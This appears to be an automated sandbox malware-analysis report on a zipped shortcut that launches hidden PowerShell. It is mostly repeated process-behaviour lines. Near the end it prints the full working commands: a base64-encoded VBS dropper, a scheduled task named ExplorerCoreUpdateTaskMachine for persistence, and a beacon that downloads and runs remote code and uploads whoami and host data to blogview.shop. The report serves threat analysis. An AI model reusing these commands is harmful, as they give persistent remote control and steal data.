Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: 1170000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: 2CF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: 4CF0000 memory commit \| memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2424	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 437	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5730	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3657	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3554	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6324	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe TID: 1492	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6188	Thread sleep count: 2424 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6476	Thread sleep count: 62 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2464	Thread sleep count: 437 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1776	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6412	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2608	Thread sleep count: 5730 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4536	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7152	Thread sleep count: 3657 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6332	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\SysWOW64\unarchiver.exe

Code function: 3_2_00C9B1D6 GetSystemInfo,

3_2_00C9B1D6

Source: C:\Windows\SysWOW64\unarchiver.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000009.00000002.2174458161.00000000053F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000009.00000002.2174458161.00000000053F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000009.00000002.2174458161.00000000053F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 0000000F.00000002.2934104900.00000289CCD70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}

Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\jq2oycxc.wmp" "C:\Users\user\Downloads\748-929-24.zip"	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\jq2oycxc.wmp\748-929-24.html.lnk"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -nop -noni -exec bypass -c =new-object system.net.webclient	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\appdata\local\temp\748-929-24.html	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}	Jump to behavior
